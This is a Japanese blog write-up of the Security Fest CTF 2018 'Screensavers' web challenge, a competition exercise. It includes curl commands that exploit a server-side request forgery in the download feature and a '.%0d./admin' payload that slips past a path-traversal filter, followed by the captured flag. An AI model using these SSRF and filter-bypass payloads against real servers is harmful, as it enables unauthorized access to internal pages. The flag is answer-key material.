こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

Security Fest CTF 2018 - Screensavers

問題文

In the distance future, somehow having cool screensavers is still a thing. Can you hack their screensaver generator?
http://screensavers.alieni.se:2999/

f:id:graneed:20180602021301p:plain

writeup

まずは下調べ。

robots.txtを見ると、/adminがあるようだ。

root@kali:SecurityFest2018# curl "http://screensavers.alieni.se:2999/robots.txt"
User-agent: *
Disallow: /admin

/adminにアクセスしてみる。

root@kali:SecurityFest2018# curl "http://screensavers.alieni.se:2999/admin"
Found. Redirecting to /

なお後述のユーザ名とパスワードを登録しログインしてから/adminにアクセスするとこうなる。
いずれにしても見れない。

root@kali:SecurityFest2018# curl "http://screensavers.alieni.se:2999/admin" -H "Cookie: connect.sid=s%3A1fs7JNB_j-4Nw4-ZtNsnwDcu1ptFB2aB.D09USWFmRtLL%2BOdanR1Qk8c16pWwoJW%2F0b1KauvAp70"
Unauthorized IP: ::ffff:118.241.203.17

さて、ユーザ名とパスワードを登録してログインすると、LOGOUT、PREVIEW、DOWNLOADのボタン。

PREVIEWボタンを押下すると、 自ユーザ名の文字列を使ったマトリックス調の画像が表示される。

DOWNLOADボタンを押下すると、 同じく、マトリックス調の画像が、
サムネイル画像として表示され、合わせてダウンロードリンクが表示される。

その時の通信をFiddlerで解析すると、DOWNLOADボタンを押下したときに、
以下のPOSTデータを投げている。

download=download&url=http%3A%2F%2Flocalhost%3A2999%2Fuser%2F%3Fusername%3Dvvvvv%26preview%3Dpreview

ドメイン部分は違うが、PREVIEWボタンを押下したときのURLである。
なるほど、DOWNLOADボタンを押下すると、
サーバ内でPREVIEWボタンを押下したときのURLを呼び出して画像を生成しているようだ。

試しに、curlでusernameを12345に改変して投げてみる。

root@kali:SecurityFest2018# curl "http://screensavers.alieni.se:2999/download" -H "Cookie: connect.sid=s%3A1fs7JNB_j-4Nw4-ZtNsnwDcu1ptFB2aB.D09USWFmRtLL%2BOdanR1Qk8c16pWwoJW%2F0b1KauvAp70" -d "download=download" --data-urlencode "url=http://localhost:2999/user/?username=12345&preview=preview"
<meta http-equiv='refresh' content='1;URL=/user/'>Redirecting...

この後、トップ画面を表示すると、12345のマトリックス調のサムネイル画像が表示された。

f:id:graneed:20180602022013p:plain

以上より、SSRFを使って/adminの画像を作ってもらえばよさそうだ。

root@kali:SecurityFest2018# curl "http://screensavers.alieni.se:2999/download" -H "Cookie: connect.sid=s%3A1fs7JNB_j-4Nw4-ZtNsnwDcu1ptFB2aB.D09USWFmRtLL%2BOdanR1Qk8c16pWwoJW%2F0b1KauvAp70" -d "download=download" -d "url=http://localhost:2999/user/../admin"
hacking attempt

うーん、..のフィルタがあるようだ。

しばらく試行錯誤した結果、.と.の間に改行コードをいれたら回避できた。

root@kali:SecurityFest2018# curl "http://screensavers.alieni.se:2999/download" -H "Cookie: connect.sid=s%3A1fs7JNB_j-4Nw4-ZtNsnwDcu1ptFB2aB.D09USWFmRtLL%2BOdanR1Qk8c16pWwoJW%2F0b1KauvAp70" -d "download=download" -d "url=http://localhost:2999/user/.%0d./admin"
<meta http-equiv='refresh' content='1;URL=/user/'>Redirecting...

f:id:graneed:20180602021404p:plain

フラグゲット 。
SCTF{y00_kn0w_KuNg_Fu!!!}